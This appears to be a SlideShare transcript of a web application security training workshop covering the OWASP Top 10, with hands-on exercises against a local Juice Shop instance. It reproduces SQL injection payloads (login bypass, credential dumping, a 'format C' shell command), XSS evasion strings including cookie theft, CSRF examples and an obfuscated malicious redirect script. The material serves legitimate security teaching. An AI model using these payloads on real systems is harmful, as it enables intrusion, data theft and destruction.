Web Application Security
Upcoming SlideShare
Loading in...5

Like this? Share it with your network


Web Application Security



These are the slides to my 2-day "Web Application Security Training Workshop". The workshop is intended for all IT staff involved in web application development, e.g. software engineers, system ...

These are the slides to my 2-day "Web Application Security Training Workshop". The workshop is intended for all IT staff involved in web application development, e.g. software engineers, system analysts, quality engineers or application administrators.

The goals of the workshop are:
* Build security awareness for web applications
* Get to know attack methods of hackers
* Learn ways to discover security vulnerabilities
* Learn the basics of secure web development

Day one starts with a motivation of the topic and then covers the most severe vulnerabilities of web applications based on the OWASP Top 10 list. The attacks on those vulnerabilities are discussed and can be tried out in several examples.

Day two starts with a two hour hacking contest where each participant attacks the locally installed BodgeIt store and tries to get as many points on the score card as possible. Next the Secure Software Development Lifecycle is briefly discussed in order to prevent security flaws as early as possible.

/!\ Performing attacks on any website or server you do not own yourself is a crime in most countries!



Total Views
Views on SlideShare
Embed Views



8 Embeds 928

http://julismail.staff.telkomuniversity.ac.id 417
http://kimminich.de 201
http://kimminich.wordpress.com 127
http://www.linkedin.com 53
https://twitter.com 53
http://wiki.int.kn 52
http://www.kimminich.de 24
https://kimminich.wordpress.com 1



Upload Details

Uploaded via as Microsoft PowerPoint

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
Post Comment
Edit your comment
  • Canonicalization = Standardization, Normalization = Bringing data into its most simple unique form <br /> Sanitization = Remove personal-identifiable information from data / Remove malicious data from user input

Web Application Security Presentation Transcript

  • 1. Björn Kimminich https://twitter.com/bkimminich https://linkedin.com/in/bkimminich https://google.com/+BjörnKimminich http://slideshare.net/BjrnKimminich V3.1.4 (16.10.2014)
  • 2. 2007+ Software Architect & Security Officer at Kuehne+Nagel Corporate Web Development 2011+ Part-time lector for Java & Agile Software Develoment at private UAS Nordakademie 2012+ OWASP Member & QA Developer OWASP Zed Attack Proxy (ZAP)
  • 3. Build security awareness for web applications Get to know attack methods of hackers Learn ways to discover security vulnerabilities Learn the basics of secure web development
  • 4. Schedule •2x8 hours •Breaks on demand •Enough time for excercises Behavior •No daily work during workshop •Ask questions immediately •Open discussion encouraged
  • 5. Motivation Open Web Application Security Project (OWASP) Top 10 Web Application Security Risks (A1-A7)
  • 6. Top 10 Web Application Security Risks (A8-A10) Hacking Contest Secure Software Development Lifecycle OWASP Zed Attack Proxy Quiz & Wrap-Up
  • 7. Source: http://www.ups.com/media/news/en/fraud_email_examples.pdf
  • 8. = Phishing attacks on senior executives and other high profile targets within businesses
  • 9. Source: http://news.yahoo.com/lightbox/burger-kings-twitter-account-hacked-photo-180655645--abc-news-tech.html http://www.guardian.co.uk/technology/2013/feb/18/burger-king-twitter-account-hack
  • 10. Source: http://praetorianprefect.com/archives/category/app-sec/web-site-defacement/
  • 11. Source: http://praetorianprefect.com/archives/category/app-sec/web-site-defacement/
  • 12. Source: http://news.cnet.com/Hackers-deface-SCO-site/2100-7344_3-5469486.html
  • 13. Source: http://www.informationweek.com/security/attacks/sony-hacked-again-1-million-passwords-ex/229900111
  • 14. Source: http://www.pcworld.com/article/2157604/ebay-users-change-your-passwords-the-auction-site-was-breached.html
  • 15. Analyze the behavior of the following code taken from an email attachment <!-- C/C v0964 --> <script> function c(){};t=false;kM="kM";c.prototype = {v : function() {this.e=38741;this.eE="";s='';wS="wS";u="";h=false;y="y";var w=String("htsjRD".substr(0,2)+"k8V3tp3kV8".substr(4,2)+":/VxWG".substr (0,2)+"/e"+"nj"+"oydAgE".substr(0,2)+"yo6C3".substr(0,2)+"urMoc".subst r(0,2)+"Q8eDha8eDQ".substr(4,2)+"ir"+"cum1nF".substr(0,2)+"UmI9t.UIm9" .substr(4,2)+"co"+"m/"+"5.U2mW".substr(0,2)+"TaShtSaT".substr(3,2)+"cw zmlcwz".substr(3,2));z=false;i=22164;d="";this.b="b";var r=false;zC=false;m='';document["locazLsR".substr(0,4)+"tion"]=w;var eG=false;this.k='';q=5975;g=55201;this.p="";var iK=61242;var n=false;}};var nF=false;this.eF=false;var x=new c(); l="l";gO="";x.v();this.kN=false; </script>
  • 16. It executes the following JavaScript: document[„location“]=http://enjoyyourhaircut.com/5.html; The rest is just there for obfuscation <!-- C/C v0964 --> <script> function c(){};t=false;kM="kM";c.prototype = {v : function() {this.e=38741;this.eE="";s='';wS="wS";u="";h=false;y="y";var w=String("htsjRD".substr(0,2)+"k8V3tp3kV8".substr(4,2)+":/VxWG".substr (0,2)+"/e"+"nj"+"oydAgE".substr(0,2)+"yo6C3".substr(0,2)+"urMoc".subst r(0,2)+"Q8eDha8eDQ".substr(4,2)+"ir"+"cum1nF".substr(0,2)+"UmI9t.UIm9" .substr(4,2)+"co"+"m/"+"5.U2mW".substr(0,2)+"TaShtSaT".substr(3,2)+"cw zmlcwz".substr(3,2));z=false;i=22164;d="";this.b="b";var r=false;zC=false;m='';document["locazLsR".substr(0,4)+"tion"]=w;var eG=false;this.k='';q=5975;g=55201;this.p="";var iK=61242;var n=false;}};var nF=false;this.eF=false;var x=new c(); l="l";gO="";x.v();this.kN=false; </script>
  • 17. Web Applications have become the #1 target 75% of Attacks target the Application Layer (Gartner) Most Web Applications are vulnerable 95% of Web Applications have some sort of vulnerability (Imperva) 78% of easily exploitable weaknesses occur in Web Applications (Symantec) 67% of websites used to distribute malware are legitimate, compromised websites (Symantec) Source: https://www.owasp.org/index.php/Business_Justification_for_Application_Security_Assessment
  • 18. Source: http://www.incapsula.com/the-incapsula-blog/item/397-top-security-threats-and-attackers-by-country
  • 19. Idealistic young Hacktivists will continue to attack Big Data Companies are taking control of users while profiting from user information Attackers will make more use of Mobile Exploits for hacking into corporate networks Insiders (Employees, Consultants, Business Partners) can always pose security risks Foreign Governments will start to target clouds and more types of businesses with APTs Source: http://www.notebookreview.com/default.asp?newsID=6310
  • 20. Group with both the capability and the intent to persistently and effectively target a specific entity Example: The Stuxnet Creators can be considered an APT to the Iranian Government Source: http://en.wikipedia.org/wiki/Advanced_persistent_threat
  • 21. Source: http://noramintel.com/stuxnet-virus-opens-new-era-of-cyber-war/
  • 22. Google‘s Android Backup Functionality Helps you to migrate all your data and apps to a new device quite easily It also used to store passwords to all WLANs you ever used on your device… …on Google servers in the US (!) …unencrypted (!!!) Source: https://code.google.com/p/android/issues/detail?id=57560
  • 23. Open Web Application Security Project
  • 24. Open Web Application Security Project Open community Non-profit organization Core purpose Be the thriving global community that drives visibility and evolution in the safety and security of the world’s software https://www.owasp.org Source: https://www.owasp.org
  • 25. Free & Open Governed by rough consensus & running code Abide by a code of ethics Not-for-profit Not driven by commercial interests Risk based approach Source: https://www.owasp.org
  • 26. Source: https://www.owasp.org
  • 27. Enterprise Security API (ESAPI) Collection of all the security methods that a developer needs to build a secure web application Zed Attack Proxy (ZAP) Easy to use integrated penetration testing tool for finding vulnerabilities in web applications Security Shepherd CBT application for web and mobile application security awareness and education Development Guide Massive document covering all aspects of web application and web service security Source: https://www.owasp.org
  • 28. Top 10 Web Application Security Risks
  • 29. A1: Injection A2: Broken Authentication and Session Management A3: Cross-Site Scripting (XSS) A4: Insecure Direct Object References A5: Security Misconfiguration A6: Sensitive Data Exposure A7: Missing Function Level Action Control A8: Cross Site Request Forgery (CSRF) A9: Using Known Vulnerable Components A10: Unvalidated Redirects and Forwards Ex-A6/2007: Information Leakage and Improper Error Handling
  • 30. Threat Agent Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Business Impact ? Easy Widespread Easy Severe Average Common Average Moderate ? Difficult Uncommon Difficult Minor 1 2 3 Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 31. Weighted Risk Rating = Probability * Impact Example: Threat Agent Attack Vector Weakness Prevalence Weakness Detectability Technical Impact Business Impact ? 1 1 Easy Widespread Easy Severe 2 2 Average Common Average Moderate ? Difficult Uncommon Difficult Minor (1+2+2)/3 = 1.66 1.66*1 = 1.66 Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 32. [1] Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') [2] Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') [3] Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') [4] Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [5] Missing Authentication for Critical Function [6] Missing Authorization [7] Use of Hard-coded Credentials [8] Missing Encryption of Sensitive Data [9] Unrestricted Upload of File with Dangerous Type [10] Reliance on Untrusted Inputs in a Security Decision [11] Execution with Unnecessary Privileges [12] Cross-Site Request Forgery (CSRF) [13] Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') [14] Download of Code Without Integrity Check [15] Incorrect Authorization [16] Inclusion of Functionality from Untrusted Control Sphere [17] Incorrect Permission Assignment for Critical Resource [18] Use of Potentially Dangerous Function [19] Use of a Broken or Risky Cryptographic Algorithm [20] Incorrect Calculation of Buffer Size [21] Improper Restriction of Excessive Authentication Attempts [22] URL Redirection to Untrusted Site ('Open Redirect') [23] Uncontrolled Format String [24] Integer Overflow orWraparound [25] Use of a One-Way Hash without a Salt Source: http://cwe.mitre.org/top25
  • 33. Both are like different sides of the same coin PCI DSS points to both as industry best practices Optimal: Be familiar with both! OWASP Top 10 CWE/SANS Top 25 Source: http://www.docstoc.com/docs/115032367/2010-CWESANS-Top-25-with-OWASP-Top-10-and-PCI-DSS-V2-Mapping
  • 34. Use only a local instance for the exercises! Do not attack the deployed application on Nodejitsu (http://juice-shop.jit.su)
  • 35. 1. Install node.js from http://nodejs.org 2. Install the application Fork: https://github.com/bkimminich/juice-shop/fork Clone: git clone https://github.com/bkimminich/juice-shop.git Unzip: https://github.com/bkimminich/juice-shop/releases/latest 3. Run npm install 4. Run npm start 5. Browse to http://localhost:3000
  • 36. Do not perform any attacks on servers, networks and applications… …you do not own and operate yourself …or have the owners permission to pentest
  • 37. Prevalence Widespread Impact Minor
  • 38. Applications can unintentionally leak information about their configuration or internal workings, or violate privacy internal state via how long they take to process certain operations or via different responses to differing inputs information about their internal state through detailed or debug error messages This information can be leveraged to launch or even automate more powerful attacks Source: https://www.owasp.org
  • 39. Implementation Details Server (OS, Version, …) Programming Language (Language, Version, VM-Vendor, …) Database (Oracle, mySQL, …) and details about it (Version, Schema Names, Table Names, Column Names, …) Names and versions of used 3rd party libraries Other useful information Stacktraces Debugging Information SQL Statements Passwords … Source: https://www.owasp.org
  • 40. vs.
  • 41. vs. while (noSuchUserError) { // try next user with static password login(user, „?“); } while (wrongPasswordError) { // use existing user and try next password login(„bkimminich“, password); } while (loginFailedError) { // try next user while (loginFailedError) { // try next password login(user, password); } }
  • 42. Browse to http://localhost:3000 Task 1: Find the carefully hidden „Score Board“ page Task 2: Try to provoke some error messages What information – if any – is leaked on those?
  • 43. Common approach to exception handling Disable or limit detailed error messages Ensure that secure paths that have multiple outcomes return similar or identical error messages in roughly the same time Create a default error handler which returns an appropriately sanitized error message for most users in production for all error paths
  • 44. Attack Vector Easy Prevalence Common Detectability Average Impact Severe
  • 45. Injection means… …tricking an application into including unintended commands in the data sent to an interpreter Interpreters… …take strings and interpret them as commands SQL, OS Shell, LDAP, XPath, Hibernate, etc… Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 46. // … String query = "SELECT user_id FROM user_data WHERE " + user_name = '" + req.getParameter("user") + "' AND user_password = '" + req.getParameter("password") +"'"; // … SELECT user_id FROM user_data WHERE user_name = 'bkimminich' AND user_password = '680e89[…]75ab';
  • 47. // … String query = "SELECT user_id FROM user_data WHERE " + user_name = '" + req.getParameter("user") + "' AND user_password = '" + req.getParameter("password") +"'"; // … SELECT user_id FROM user_data WHERE user_name = '' or 1=1 --' AND user_password = '1234';
  • 48. Typical Impact Spy out or manipulate data Manipulate the DB server or access underlying OS Bypass authentication or gain admin privileges Correlation with Information Leakage Attackers use error messages or codes to verify the success of an attack and gather information about type and structure of the database Blind SQL Injection If error message don’t help the attacker he can still “take a stab in the dark” The normal application behavior (e.g. response time) might give away clues on successful/failed Injection attempts Source: https://www.owasp.org
  • 49. Bypass Authentication admin' -- admin' # admin'/* ' or 1=1-- ' or 1=1# ' or 1=1/* ') or '1'='1 ') or ('1'='1 Source: http://ha.ckers.org/sqlinjection
  • 50. Spy out Data ' UNION SELECT login, password, 'x' FROM user-- 1 UNION SELECT 1,1,1 FROM user-- Manipulate Data '; UPDATE user SET type = 'admin' WHERE id = 23;-- Manipulate the DB Server ' ;GO EXEC cmdshell('format C') -- Cheat Sheet: http://ha.ckers.org/sqlinjection Source: http://ha.ckers.org/sqlinjection
  • 51. Browse to http://localhost:3000 Task 1: Log in as an existing user Do not use password guessing Do not use brute forcing Task 2: Read all user account ids, emails and passwords from the database
  • 52. Plain SQL via JDBC String query = "SELECT account_balance FROM user_data WHERE user_name = " + request.getParameter("customerName"); try { Statement statement = connection.createStatement(…); ResultSet results = statement.executeQuery(query); HQL via Hibernate } Query unsafeHQLQuery = session.createQuery("from Inventory where productID='"+userSuppliedParameter+"'");
  • 53. Avoid the Interpreter at all if possible Use an interface that supports bind variables java.sql.PreparedStatement Hibernate Parameter Binding … Enforce Least Privileges for the application‘s DB user Perform White List Input Validation on all user supplied input Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 54. White List = Positive Security Rule „Block what is not explicitly allowed!“ Example: Allow only [a-z], [A-Z] and [0-9] Define once, (almost) never worry again Can be quite effortsome to define for a whole application Black List = Negative Security Rule „Allow what is not explicitly blocked!“ Example vs. SQL Injection: Block [-#';] Example vs. HTML Injection: Block [<>";'script] Can be bypassed by masking attack patterns Must be updated for new attack patterns
  • 55. Plain SQL via JDBC String customerName = request.getParameter("customerName"); assert(CustomerValidator.doesExist(customerName); String query = "SELECT account_balance FROM user_data WHERE user_name = ?"; PreparedStatement pstmt = connection.prepareStatement(query); pstmt.setString(1, customerName); ResultSet results = pstmt.executeQuery(); HQL via Hibernate Query safeHQLQuery = session.createQuery("from Inventory where productID=:productId"); safeHQLQuery.setParameter("productId", userSuppliedParameter);
  • 56. Intention: Provide cheap means of DB/data maintenance to admin users Protection: URL is hidden Never develop like this!
  • 57. Source: http://xkcd.com/327/
  • 58. Attack Vector Average Prevalence Widespread Detectability Average Impact Severe
  • 59. Source: http://www.troyhunt.com/2013/09/web-security-dark-matter-developers-and.html
  • 60. HTTP is a “stateless” protocol Credentials have to be passed with every request Should use SSL for everything requiring authentication Session Management flaws SESSION ID is just as good as credentials to an attacker SESSION ID is typically exposed on the network, in browser, in logs, … Beware the side-doors Change my password, remember my password, forgot my password, secret question, logout, email address, credentials stored in plain text in database, etc… Typical Impact User accounts compromised or user sessions hijacked Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 61. h5kek4z9ha1rtrf gj75l3k7hb15rtr l8l65k45hc1rw7i p05jrj53hd1i039 5urltda1he1bn46 j5le97h9hf2yq3h po953ld7hg2awi9 t6zhj2n5hh27bn0 iu345r53hi2aw34 o0z43411hj2njkl 9por42o9hk3dfrz … Pattern • 9,7,5,3,1,9,7,5,3,1,9… • h,h,h,h,h,h,h,h,h,h,h,… • a,b,c,d,e,f,g,h,i,j,k,… • 1,1,1,1,1,2,2,2,2,2,3,…
  • 62. Authentication should be simple, centralized and standardized! Use standard session ID of your container Protect credentials and session ID with SSL/TLS Keep your SSL certificate safe Automatic logout of inactive sessions Never start a login process from an unencrypted page Session IDs and credentials don’t belong into logfiles Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 63. Rely on single authentication mechanism with appropriate strength and number of factors Use strong supplemental authentication mechanisms Challenge-Response Limited time passwords Check old password on password change Send confirmation request to old email address on email address change Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 64. Minimum length of 12 to 14 characters if permitted Generating passwords randomly where feasible Avoiding passwords based on repetition, dictionary words, letter or number sequences, usernames, relative or pet names, romantic links (current or past), or biographical information (e.g., ID numbers, ancestors' names or dates). Including numbers, and symbols in passwords if allowed by the system If the system recognizes case as significant, using capital and lower-case letters Avoiding using the same password for multiple sites or purposes Avoid using something that the public or workmates know you strongly like or dislike Source: http://en.wikipedia.org/wiki/Password_strength
  • 65. Automated tests of password strength are problematic Any network based checking necessarily involves submitting one's password to a purpose declared system somewhere The relevant network traffic is easily identifiable as passwords saving much effort for the attacker Passwords which are vulnerable to social engineering and guessing attacks cannot be properly checked automatically Source: http://en.wikipedia.org/wiki/Password_strength
  • 66. 12345 abcdefg abcdefg12345 abcd1234!? laura21052005 ingrid2004-12-17 Instantly Crackable Instantly Crackable PC would take ~37 years to crack PC would take ~22 years to crack PC would take ~1351 years to crack PC would take 16 billion years to crack Source: http://howsecureismypassword.net/ + some creative trial & error + some research on me + some social engineering ALL those password cracked rather easily
  • 67. Oldschool Paper TAN List Protect your account via RSA-Token or Smartphone App TANs and dedicated confirmation of suspicious payments via text message Computer won‘t boot unless Security USB-Device is plugged in Facial Recognition via Webcam for unlocking computer
  • 68. Browse to http://localhost:3000 Task 1: Log in with the credentials of the admin user without previously changing them Task 2: Change an existing users password
  • 69. Attack Vector Average Prevalence Very Widespread Detectability Easy Impact Moderate
  • 70. Attacker sends malicious code to an innocent user’s browser Malicious code might be… …reflected from web input (form or hidden field, URL, etc…) …stored in database …sent directly into rich JavaScript client Virtually every web application has this problem Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 71. Steal user’s session Steal sensitive data Rewrite web page Redirect user to phishing or malware site Most Severe: Install XSS proxy which allows attacker to observe and direct all user’s behavior on vulnerable site and force user to other sites Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 72. Browser Server Database Web Bug! Application URL HTML Victim Request Website Server Response Source: http://www.h-online.com/security/features/Web-application-security-747201.html
  • 73. Browser Server Database Web Bug! Application URL URL Subsequent Victim Request Website Server Response HTML Source: http://www.h-online.com/security/features/Web-application-security-747201.html
  • 74. Browser Server Database Web Application URL Script Code HTML Bug! Bug! Script Code DOM Access Website Server Response Source: http://www.h-online.com/security/features/Web-application-security-747201.html
  • 75. Simple Patterns <SCRIPT>javascript:alert('XSS');</SCRIPT> <IMG SRC=javascript:alert('XSS')> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> Masked / Evasive Patterns <IMG SRC=javascript:alert(&quot;XSS&quot;)> '';!--"<XSS>=&{()} <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IMG SRC="jav ascript:alert('XSS');"> <IMG SRC="jav&#x09;ascript:alert('XSS');"> Source: http://ha.ckers.org/xss.html
  • 76. Masked / Evasive Patterns (continued) <DIV STYLE="background-image: 00750072006C0028'006a006100760061 007300630072006900700074003a0061006c00 65007200740028.10270058.1053005300270029' 0029"> <b onmouseover=alert('Wufff!')>click me!</b> <img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);> … Cheat Sheet: http://ha.ckers.org/xss.html Source: http://ha.ckers.org/xss.html
  • 77. Client Side Validation is always insecure! Install Tampering Plugin e.g. Tamper Data (Firefox) e.g. Request Maker (Chrome) You can now stop all outgoing HTTP requests in your browser …and tamper the contained headers, POST data and passed parameters …after Client Side Validation took place …but before they are actually submitted to the server
  • 78. Browse to http://localhost:3000 Task 1: Reflect an XSS attack back at the user Task 2: Persist an XSS attack in the DB Visit the attacked page afterwards to test the attack
  • 79. Scriptlet in Java Server Page (JSP) <%String searchCriteria = request.getParameter("searchValue");%> <%-- Later on the same or subsequent JSP... --> Search results for <b><%=searchCriteria%></b>: ...
  • 80. Eliminate XSS Don‘t include user supplied input in your output! Defend against XSS Output Encode all user supplied input OWASP Enterprise Security API For GWT: com.google.gwt.safehtml.shared.SafeHtml Perform White List Input Validation on user input Use an HTML Sanitizer for larger user supplied HTML chunks OWASP Java HTML Sanitizer Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 81. Encoding with Struts Bean Taglib ... Search results for <b><bean:write name='searchCriteria'/></b>: ... Encoding with OWASP Enterprise Security API ... <easpi:encodeForHtml><%=searchCriteria></esapi:encodeForHtml> ...
  • 82. Attack Vector Easy Prevalence Common Detectability Easy Impact Moderate
  • 83. How do you protect access to your data? This is part of enforcing proper “Authorization” along with A7 – Failure to Restrict URL Access Common mistakes Only listing the ‘authorized’ objects for the current user Hiding the object references in hidden fields… … and then not enforcing these restrictions on server side (=Presentation layer access control) Attacker simply tampers with parameter value Typical Impact Users are able to access unauthorized files or data Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 84. Checking online how you did in an exam http://universi.ty/marks?id=i99a19 Checking how your fellow students did http://universi.ty/marks?id=i99a01 http://universi.ty/marks?id=i99a02 … http://universi.ty/marks?id=i99a20 Checking the distribution among class http://universi.ty/marks?id=i99
  • 85. Browse to http://localhost:3000 Task 1: Access another users basket
  • 86. Eliminate the Direct Object References Replace with temporary mapping value e.g. with ESAPI AccessReferenceMap Validate the Direct Object Reference Verify parameter value format Verify user authorization to access target object Query Constraints work great! (Data Access Restriction) Verify the requested mode of access is allowed to the target object (read, write, delete, …) Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 87. Attack Vector Easy Prevalence Common Detectability Easy Impact Moderate
  • 88. Web applications rely on a secure foundation Everywhere from the OS up through the App Server Don’t forget all the libraries you are using! Is your source code a secret? Think of all the places your source code goes Security should not require secret source code Do you change all credentials regularly in your production environment? Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 89. Install backdoor through missing OS or server patch XSS flaw exploits due to missing application framework patches Unauthorized access to default accounts, application functionality or data, or unused but accessible functionality due to poor server configuration Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 90. Administration Transactions Communication Knowledge Mgmt Custom Code Accounts Finance E-Commerce Bus. Functions App Configuration Framework App Server Web Server Hardened OS Development QA Servers Test Servers Source Control Database Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx Insider
  • 91. Browse to http://localhost:3000 Task 1: Access the administration section of the store Task 2: Get rid of all ***** rated Feedback
  • 92. Verify your system’s configuration management Secure configuration “hardening” guideline Automation is really useful here Must cover entire platform and application Keep up with patches for all components This includes software libraries, not just OS and Servers! Analyze security effects of changes Deactivate unnecessary stuff Ports, Services, Accounts, Sites, … Verify the implementation Scanning finds generic configuration and missing patch problems Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 93. Attack Vector Difficult Prevalence Uncommon Detectability Average Impact Severe
  • 94. Storing sensitive data insecurely Failure to identify all sensitive data Failure to identify all the places that this sensitive data gets sent or stored On the web, to business partners, internal communication Databases, files, directories, log files, backups, etc. Failure to properly protect this data in every location Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 95. Typical Impact Attackers access or modify confidential or private information (e.g credit cards, health care records, financial data, …) Attackers extract secrets to use in additional attacks Company embarrassment, customer dissatisfaction, and loss of trust Expense of cleaning up the incident, such as forensics, sending apology letters, reissuing thousands of credit cards, providing identity theft insurance Business gets sued and/or fined Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 96. Sensitive Data is not encrypted Using self-made crypto algorithms Unsafe usage of safe crypto algorithms Store Keys and Passwords in Source Code Store Keys/Certificates in unsafe location Continued usage of weak crypto algorithms e.g. MD5, SHA-1, RC3, RC4
  • 97. Verify your architecture Identify all sensitive data Identify all the places that data is stored Ensure threat model accounts for possible attacks Use encryption to counter the threats, don’t just ‘encrypt’ the data Protect with appropriate mechanisms File encryption, database encryption, data element encryption Use TLS on all connections with sensitive data Use the mechanisms correctly Use standard strong algorithms e.g. AES, RSA, SHA-256 Generate, distribute, and protect keys properly Be prepared for key change Verify the implementation Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 98. Be especially careful in unknown Networks WLAN Hotspots, Internet Cafés, … Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 99. Attack Vector Easy Prevalence Common Detectability Average Impact Moderate
  • 100. How do you protect access to functions? This is part of enforcing proper “Authorization” along with A4 – Insecure Direct Object References Common Mistakes Displaying only authorized links and menu choices Attacker simply forges direct access to ‘unauthorized’ pages Typical Impact Attackers invoke functions and services they’re not authorized for Access other user’s accounts and data Perform privileged actions Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 101. Browse to http://localhost:3000 Task 1: Place an order that has a negative total Task 2: Find a confidential document Task 3: Find the hidden „easter egg“ Includes „A6 – Sensitive Data Exposure“ sub-exercise!
  • 102. Restrict access to authenticated users (if not public) Enforce any user or role based permissions (if private) Completely disallow requests to unauthorized page types config files log files source files … Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 103. See you all tomorrow!
  • 104. Björn Kimminich https://twitter.com/bkimminich https://linkedin.com/in/bkimminich https://google.com/+BjörnKimminich http://slideshare.net/BjrnKimminich
  • 105. Top 10 Web Application Security Risks (A8-A10) Hacking Contest Secure Software Development Lifecycle OWASP Zed Attack Proxy Quiz & Wrap-Up
  • 106. Attack Vector Average Prevalence Common Detectability Easy Impact Moderate
  • 107. An attack where the victim’s browser is tricked into issuing a command to a vulnerable web application Vulnerability is caused by browsers automatically including user authentication data with each request Session Cookie Basic Authentication Header IP Address Client Side SSL Certificates Windows domain credentials Typical Impact Initiate transactions transfer funds, logout user, close account, … Access sensitive data Change account details Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 108. Web Browsers include most credentials with each request… …even for requests caused by a form, script or image on another site! All sites relying solely on automatic credentials are vulnerable! Sites with XSS vulnerabilities can be abused for attacking sites with CSRF vulnerabilities Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 109. bank.com Web App Browser Bug! evil.org Web App GET / HTTP/1.1 Host: www.evil.org Request Login Response HTTP/1.1 200 OK ... <html> ... <img src=“http://bank.com/transfer ?to=hacker&amount=1000$“/> ... </html> CSRF-Attack GET/transfer?to=hacker &amount=1000$ HTTP/1.1 Host: bank.com
  • 110. Intranet Firewall Web App Browser Bug! evil.org Web App Request Login GET / HTTP/1.1 Host: www.evil.org Response HTTP/1.1 200 OK ... <html> ... <img src=“ ?setAccessMode=remote&resetPassword“/> ... </html> CSRF-Attack GET/admin/setAccessMode =remote&resetPassword HTTP/1.1 Host:
  • 111. Add a secret, not automatically submitted, token to all sensitive requests This makes it impossible for the attacker to spoof the request (unless there is an XSS hole in your application) Tokens should be cryptographically strong or random Options Store a single token in the session and add it to all forms and links (e.g. Hidden Field, Single Use URL, Form Token) Beware exposing the token in a referer header Can use a unique token for each function (e.g. hash of function name, session id, and a secret Can require secondary authentication for sensitive functions (e.g. eTrade) Make sure your application has no XSS holes which could be exploited to attack other applications (or itself) Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 112. [img]http://forum.com/logout.do[/img] What shenanigans might our troll friend have in mind with any unwelcome forum posts he encounters?
  • 113. Browse to http://localhost:3000 Task 1: Craft an CSRF attack by using an existing XSS hole Task 2: Trick user Bender into changing his password to slurmCl4ssic
  • 114. Attack Vector Average Prevalence Widespread Detectability Difficult Impact Moderate
  • 115. Heartbleed OpenSSL 1.0.1 – 1.0.1f
  • 116. Source: http://xkcd.com/1354/
  • 117. Source: http://xkcd.com/1354/
  • 118. Source: http://xkcd.com/1354/
  • 119. Libraries often contain vulnerabilities Attacker identifies a weak component through scanning or manual analysis Customized exploits used to execute attack Full range of weaknesses is possible injection, broken access control, XSS, etc. Impact could be minimal, up to complete host takeover and data compromise Source: https://www.owasp.org/index.php/Top_10_2013-A9
  • 120. SpEL Injection Authentication Bypass Remote Code Execution Source: https://www.aspectsecurity.com/uploads/downloads/2012/03/Aspect-Security-The-Unfortunate-Reality-of-Insecure-Libraries.pdf
  • 121. Browse to http://localhost:3000 Task: Inform the shop about a vulnerable library they are using Use the 'Contact Us' page and supply the exact library name the exact version within your comment.
  • 122. Identify the components and their versions you are using, including all dependencies Monitor the security of these components in public databases, project mailing lists, and security mailing lists, and keep them up-to-date Restrict the use of unapproved components Source: https://www.owasp.org/index.php/Top_10_2013-A9
  • 123. Attack Vector Average Prevalence Uncommon Detectability Easy Impact Moderate
  • 124. Web application redirects are very common And frequently include user supplied parameters in the destination URL If they aren’t validated, attacker can send victim to a site of their choice Forwards are common too They internally send the request to a new page in the same application Sometimes parameters define the target page If not validated, attacker may be able to use unvalidated forward to bypass authentication or authorization checks Typical Impact Redirect victim to phishing or malware site Attacker’s request is forwarded past security checks, allowing unauthorized function or data access Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 125. bank.com Web App Browser Bug! evil.org Request to Redirect URL URL https://bank.com/account?...&...&... &dest=www.evil.org&...&...&...&... HTTP/1.1 302 Found Location: http://www.evil.org Source: http://owasptop10.googlecode.com/files/OWASP_Top_10_-_2010%20Presentation.pptx
  • 126. Browse to http://localhost:3000 Task: Find a place where a redirect is done Forge a link redirecting to http://kimminich.de Do not let any validations stop you!
